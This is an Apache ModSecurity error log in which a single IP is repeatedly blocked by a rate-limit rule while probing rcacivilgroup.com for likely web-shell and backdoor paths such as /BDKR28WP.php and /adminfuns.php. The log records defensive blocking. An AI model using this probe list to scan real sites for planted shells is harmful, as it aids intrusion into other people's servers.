[Tue May 19 03:57:44.815128 2026] [:error] [pid 34810:tid 34812] [client 172.173.117.54:59848] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "agtvOHLwdc8JcvxViQXxgwAAAMA"]
[Tue May 19 03:57:45.206736 2026] [:error] [pid 34689:tid 34698] [client 172.173.117.54:58755] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "agtvOZWxMX-BooBZ30HBFAAAAAI"]
[Tue May 19 03:57:45.706725 2026] [:error] [pid 34690:tid 34738] [client 172.173.117.54:62906] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "agtvOYQwnq2meDg4FYnhvQAAAEM"]
[Tue May 19 03:57:46.141377 2026] [:error] [pid 34690:tid 34745] [client 172.173.117.54:65181] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "agtvOoQwnq2meDg4FYnhvgAAAEo"]
[Tue May 19 03:57:46.531671 2026] [:error] [pid 34690:tid 34735] [client 172.173.117.54:59782] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "agtvOoQwnq2meDg4FYnhwAAAAEA"]
[Tue May 19 03:57:46.949205 2026] [:error] [pid 34690:tid 34750] [client 172.173.117.54:65222] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "agtvOoQwnq2meDg4FYnhwgAAAE8"]
[Tue May 19 03:57:47.451915 2026] [:error] [pid 34689:tid 34704] [client 172.173.117.54:59298] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "agtvO5WxMX-BooBZ30HBGwAAAAg"]
[Tue May 19 03:57:47.874727 2026] [:error] [pid 34689:tid 34710] [client 172.173.117.54:65185] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "agtvO5WxMX-BooBZ30HBHAAAAA4"]
[Tue May 19 03:57:48.284299 2026] [:error] [pid 34689:tid 34699] [client 172.173.117.54:58096] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "agtvPJWxMX-BooBZ30HBHgAAAAM"]
[Tue May 19 03:57:48.804306 2026] [:error] [pid 34690:tid 34757] [client 172.173.117.54:59384] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "agtvPIQwnq2meDg4FYnhxgAAAFY"]
[Tue May 19 03:57:49.761566 2026] [:error] [pid 34690:tid 34755] [client 172.173.117.54:59386] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "agtvPYQwnq2meDg4FYnhygAAAFQ"]
[Tue May 19 03:57:50.254284 2026] [:error] [pid 34689:tid 34703] [client 172.173.117.54:59873] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "agtvPpWxMX-BooBZ30HBIQAAAAc"]
[Tue May 19 03:57:50.718471 2026] [:error] [pid 34690:tid 34749] [client 172.173.117.54:61548] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "agtvPoQwnq2meDg4FYnhzQAAAE4"]
[Tue May 19 03:57:51.224673 2026] [:error] [pid 34690:tid 34741] [client 172.173.117.54:65262] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "agtvP4Qwnq2meDg4FYnhzgAAAEY"]
[Tue May 19 03:57:51.683160 2026] [:error] [pid 34810:tid 34829] [client 172.173.117.54:59327] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "agtvP3Lwdc8JcvxViQXxhAAAANE"]
[Tue May 19 03:57:52.118526 2026] [:error] [pid 34690:tid 34740] [client 172.173.117.54:64501] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "agtvQIQwnq2meDg4FYnh0AAAAEU"]
[Tue May 19 03:57:52.569143 2026] [:error] [pid 34690:tid 34750] [client 172.173.117.54:62948] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "agtvQIQwnq2meDg4FYnh0QAAAE8"]
[Tue May 19 03:57:53.022138 2026] [:error] [pid 34690:tid 34744] [client 172.173.117.54:65199] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "agtvQYQwnq2meDg4FYnh0wAAAEk"]
[Tue May 19 03:57:53.462631 2026] [:error] [pid 34690:tid 34751] [client 172.173.117.54:64449] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "agtvQYQwnq2meDg4FYnh1QAAAFA"]
[Tue May 19 03:57:53.923843 2026] [:error] [pid 34690:tid 34757] [client 172.173.117.54:58766] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "agtvQYQwnq2meDg4FYnh1wAAAFY"]
[Tue May 19 03:57:54.380828 2026] [:error] [pid 34690:tid 34748] [client 172.173.117.54:59349] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "agtvQoQwnq2meDg4FYnh2QAAAE0"]
[Tue May 19 03:57:54.861448 2026] [:error] [pid 34690:tid 34741] [client 172.173.117.54:65267] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cgi-bin/index.php"] [unique_id "agtvQoQwnq2meDg4FYnh2wAAAEY"]
[Tue May 19 03:57:55.424567 2026] [:error] [pid 34690:tid 34740] [client 172.173.117.54:61468] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "agtvQ4Qwnq2meDg4FYnh3gAAAEU"]
[Tue May 19 03:57:55.838036 2026] [:error] [pid 34690:tid 34750] [client 172.173.117.54:64419] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "agtvQ4Qwnq2meDg4FYnh3wAAAE8"]
[Tue May 19 03:57:56.255634 2026] [:error] [pid 34691:tid 34773] [client 172.173.117.54:59779] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "agtvRIGYsOBD9bWkFnTj2QAAAIs"]
[Tue May 19 03:57:56.739005 2026] [:error] [pid 34690:tid 34751] [client 172.173.117.54:64385] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "agtvRIQwnq2meDg4FYnh4gAAAFA"]
[Tue May 19 03:57:57.152856 2026] [:error] [pid 34691:tid 34766] [client 172.173.117.54:61475] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "agtvRYGYsOBD9bWkFnTj2gAAAIQ"]
[Tue May 19 03:57:57.638017 2026] [:error] [pid 34689:tid 34716] [client 172.173.117.54:61543] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "agtvRZWxMX-BooBZ30HBIgAAABQ"]
[Tue May 19 03:57:58.157545 2026] [:error] [pid 34689:tid 34704] [client 172.173.117.54:62871] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "agtvRpWxMX-BooBZ30HBJQAAAAg"]
[Tue May 19 03:57:58.949110 2026] [:error] [pid 34691:tid 34764] [client 172.173.117.54:62963] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/BDKR28WP.php"] [unique_id "agtvRoGYsOBD9bWkFnTj2wAAAII"]
[Tue May 19 03:57:59.554770 2026] [:error] [pid 34689:tid 34719] [client 172.173.117.54:62902] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "agtvR5WxMX-BooBZ30HBJwAAABc"]
[Tue May 19 03:57:59.962446 2026] [:error] [pid 34689:tid 34710] [client 172.173.117.54:59856] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "agtvR5WxMX-BooBZ30HBKAAAAA4"]
[Tue May 19 03:58:00.369579 2026] [:error] [pid 34810:tid 34814] [client 172.173.117.54:62910] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "agtvSHLwdc8JcvxViQXxiQAAAMI"]
[Tue May 19 03:58:00.750190 2026] [:error] [pid 34689:tid 34718] [client 172.173.117.54:62876] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "agtvSJWxMX-BooBZ30HBKQAAABY"]
[Tue May 19 03:58:01.164117 2026] [:error] [pid 34810:tid 34817] [client 172.173.117.54:64387] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "agtvSXLwdc8JcvxViQXxiwAAAMU"]
[Tue May 19 03:58:01.585665 2026] [:error] [pid 34690:tid 34738] [client 172.173.117.54:59865] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "agtvSYQwnq2meDg4FYnh5AAAAEM"]
[Tue May 19 03:58:02.195167 2026] [:error] [pid 34691:tid 34763] [client 172.173.117.54:62956] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "agtvSoGYsOBD9bWkFnTj3AAAAIE"]
[Tue May 19 03:58:02.597700 2026] [:error] [pid 34689:tid 34706] [client 172.173.117.54:58085] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "agtvSpWxMX-BooBZ30HBKwAAAAo"]
[Tue May 19 03:58:02.992971 2026] [:error] [pid 34689:tid 34699] [client 172.173.117.54:58806] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "agtvSpWxMX-BooBZ30HBLAAAAAM"]
[Tue May 19 03:58:03.398068 2026] [:error] [pid 34689:tid 34703] [client 172.173.117.54:58778] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "agtvS5WxMX-BooBZ30HBLQAAAAc"]
[Tue May 19 03:58:03.847488 2026] [:error] [pid 34810:tid 34818] [client 172.173.117.54:62872] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "agtvS3Lwdc8JcvxViQXxjwAAAMY"]
[Tue May 19 03:58:04.284857 2026] [:error] [pid 34689:tid 34711] [client 172.173.117.54:64421] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "agtvTJWxMX-BooBZ30HBMAAAAA8"]
[Tue May 19 03:58:04.786947 2026] [:error] [pid 34691:tid 34765] [client 172.173.117.54:61496] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "agtvTIGYsOBD9bWkFnTj3QAAAIM"]
[Tue May 19 03:58:05.203571 2026] [:error] [pid 34689:tid 34712] [client 172.173.117.54:65247] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "agtvTZWxMX-BooBZ30HBMQAAABA"]
[Tue May 19 03:58:05.582833 2026] [:error] [pid 34689:tid 34717] [client 172.173.117.54:61479] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "agtvTZWxMX-BooBZ30HBMgAAABU"]
[Tue May 19 03:58:06.140876 2026] [:error] [pid 34690:tid 34750] [client 172.173.117.54:62870] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "agtvToQwnq2meDg4FYnh5gAAAE8"]
[Tue May 19 03:58:06.595013 2026] [:error] [pid 34689:tid 34704] [client 172.173.117.54:59791] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "agtvTpWxMX-BooBZ30HBNAAAAAg"]
[Tue May 19 03:58:07.105118 2026] [:error] [pid 34689:tid 34701] [client 172.173.117.54:61526] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "agtvT5WxMX-BooBZ30HBNQAAAAU"]
[Tue May 19 03:58:07.515283 2026] [:error] [pid 34810:tid 34829] [client 172.173.117.54:65243] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "agtvT3Lwdc8JcvxViQXxkQAAANE"]
[Tue May 19 03:58:07.940635 2026] [:error] [pid 34810:tid 34827] [client 172.173.117.54:64486] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "agtvT3Lwdc8JcvxViQXxkgAAAM8"]
[Tue May 19 03:58:08.462563 2026] [:error] [pid 34810:tid 34826] [client 172.173.117.54:58776] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "agtvUHLwdc8JcvxViQXxkwAAAM4"]
[Tue May 19 03:58:08.917706 2026] [:error] [pid 34810:tid 34815] [client 172.173.117.54:62892] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "agtvUHLwdc8JcvxViQXxlgAAAMM"]
[Tue May 19 03:58:09.360917 2026] [:error] [pid 34810:tid 34828] [client 172.173.117.54:62853] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "agtvUXLwdc8JcvxViQXxlwAAANA"]
[Tue May 19 03:58:09.879707 2026] [:error] [pid 34810:tid 34820] [client 172.173.117.54:59804] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "agtvUXLwdc8JcvxViQXxmgAAAMg"]
[Tue May 19 03:58:10.311831 2026] [:error] [pid 34810:tid 34818] [client 172.173.117.54:65161] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "agtvUnLwdc8JcvxViQXxngAAAMY"]
[Tue May 19 03:58:10.768576 2026] [:error] [pid 34689:tid 34702] [client 172.173.117.54:61542] [client 172.173.117.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "agtvUpWxMX-BooBZ30HBOAAAAAY"]
